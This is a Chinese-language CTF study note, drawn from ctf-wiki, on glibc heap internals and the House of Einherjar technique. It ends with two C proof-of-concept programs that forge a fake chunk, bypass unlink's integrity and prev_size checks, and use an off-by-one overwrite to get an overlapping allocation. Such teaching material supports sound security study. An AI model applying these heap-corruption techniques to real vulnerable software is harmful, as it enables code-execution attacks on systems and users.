资料来源:ctf-wiki 。
目录
前导知识
malloc_chunk结构
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
每个字段的具体的解释如下
- prev_size, 如果该 chunk 的物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小)是空闲的话,那该字段记录的是前一个 chunk 的大小 (包括 chunk 头)。否则,该字段可以用来存储物理相邻的前一个 chunk 的数据。这里的前一 chunk 指的是较低地址的 chunk 。
- size ,该 chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ
的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位对 chunk
的大小没有影响,它们从高到低分别表示
- NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
- IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
- PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。
- fd,bk。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
- fd 指向下一个(非物理相邻)空闲的 chunk
- bk 指向上一个(非物理相邻)空闲的 chunk
- 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
- fd_nextsize, bk_nextsize,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
- fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
- bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
- 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。
一个已经分配的 chunk 的样子如下。我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。
当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。
unlink操作
glibc-2.27/malloc/malloc.c:1403
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
\
\/* 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查) */\
\/* 1. prev_size 检查 */\
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
\
\/* 检查 fd 和 bk 指针(双向链表完整性检查) */\
\/* 2. 双向链表完整性检查 */\
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
\
\/* largebin 中 next_size 双向链表完整性检查 */\
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
unlink的诀窍就是通过验证,我们需要
fake_chunk->fd == (struct malloc_chunk *)P
fake_chunk->bk == (struct malloc_chunk *)P
注意
在glibc2.23的源码中unlink是没有prev_size检查的,但是发行的Linux版本中有prev_size检查。
House Of Einherjar
注意
glibc-2.26及以上的版本由于有tcache机制,使用该漏洞时,需要先绕过tcache。
诀窍
off by one 修改下一个堆块的 prev_size、修改下一个堆块的 PREV_INUSE 比特位。
溢出后
假设我们将 p1 的 prev_size 字段设置为我们想要的目的 chunk 位置与 p1 的差值。在溢出后,我们释放 p1,则我们所得到的新的 chunk 的位置
chunk_at_offset(p1, -((long) prevsize))
就是我们想要的 chunk 位置了。
代码演示
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
struct malloc_chunk
{
size_t prev_size; /* Size of previous chunk (if free). */
size_t size; /* Size in bytes, including overhead. */
struct malloc_chunk *fd; /* double links -- used only if free. */
struct malloc_chunk *bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk *bk_nextsize;
};
char *payload1 = "aaaaaaaaaaaaaaaa" // 0x10 个a
"\x20\x02\x00\x00\x00\x00\x00\x00" // 0x220
"\x00"; // 很多函数都会对结尾进行\x00 填充
// 造成了该漏洞
int main()
{
struct malloc_chunk *fake_chunk;
char *s0,*s1,*s2,*s3,*ptr;
s0 = malloc(0x200); //构造fake chunk
s1 = malloc(0x18);
s2 = malloc(0xf0);
s3 = malloc(0x20); //为了不让s2与top chunk 合并
// 伪造假的chunk
fake_chunk = (struct malloc_chunk *)s0;
fake_chunk->prev_size = 0;
// 绕过 prev_size 检查
fake_chunk->size = 0x201;
// 绕过 双向链表完整性检查
fake_chunk->fd = (struct malloc_chunk *)s0;
fake_chunk->bk = (struct malloc_chunk *)s0;
memcpy(s1, payload1, 0x18 + 1); //Off By One
free(s2);
ptr = malloc(0x310);
printf("s0: %p\nptr: %p\nptr - s0 : 0x%lx\n",s0,ptr,ptr-s0);
return 0;
}
补充
由于prev_size 检查是下面这样的:
glibc-2.27/malloc/malloc.c:1405
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
所以只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就好了。
如下所示:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
struct malloc_chunk
{
size_t prev_size; /* Size of previous chunk (if free). */
size_t size; /* Size in bytes, including overhead. */
struct malloc_chunk *fd; /* double links -- used only if free. */
struct malloc_chunk *bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk *bk_nextsize;
};
char *payload1 = "aaaaaaaaaaaaaaaa" // 0x10 个a
"\x20\x02\x00\x00\x00\x00\x00\x00" // 0x220
"\x00"; // 很多函数都会对结尾进行\x00 填充
// 造成了该漏洞
int main()
{
struct malloc_chunk *fake_chunk,*fake_chunk2; // mod
char *s0,*s1,*s2,*s3,*ptr;
s0 = malloc(0x200); //构造fake chunk
s1 = malloc(0x18);
s2 = malloc(0xf0);
s3 = malloc(0x20); //为了不让s2与top chunk 合并
// 伪造假的chunk
fake_chunk = (struct malloc_chunk *)s0;
fake_chunk2 = (struct malloc_chunk *)s0 + 1; // +
fake_chunk->prev_size = 0;
// 绕过 prev_size 检查
fake_chunk->size = sizeof(struct malloc_chunk);
// 绕过 双向链表完整性检查
fake_chunk->fd = (struct malloc_chunk *)s0;
fake_chunk->bk = (struct malloc_chunk *)s0;
// 绕过 prev_size 检查
fake_chunk2->prev_size = sizeof(struct malloc_chunk); // +
memcpy(s1, payload1, 0x18 + 1); //Off By One
free(s2);
ptr = malloc(0x310);
printf("s0: %p\nptr: %p\nptr - s0 : 0x%lx\n",s0,ptr,ptr-s0);
return 0;
}
总结
多写多记多练,耀眼的成就往往源于默默地耕耘。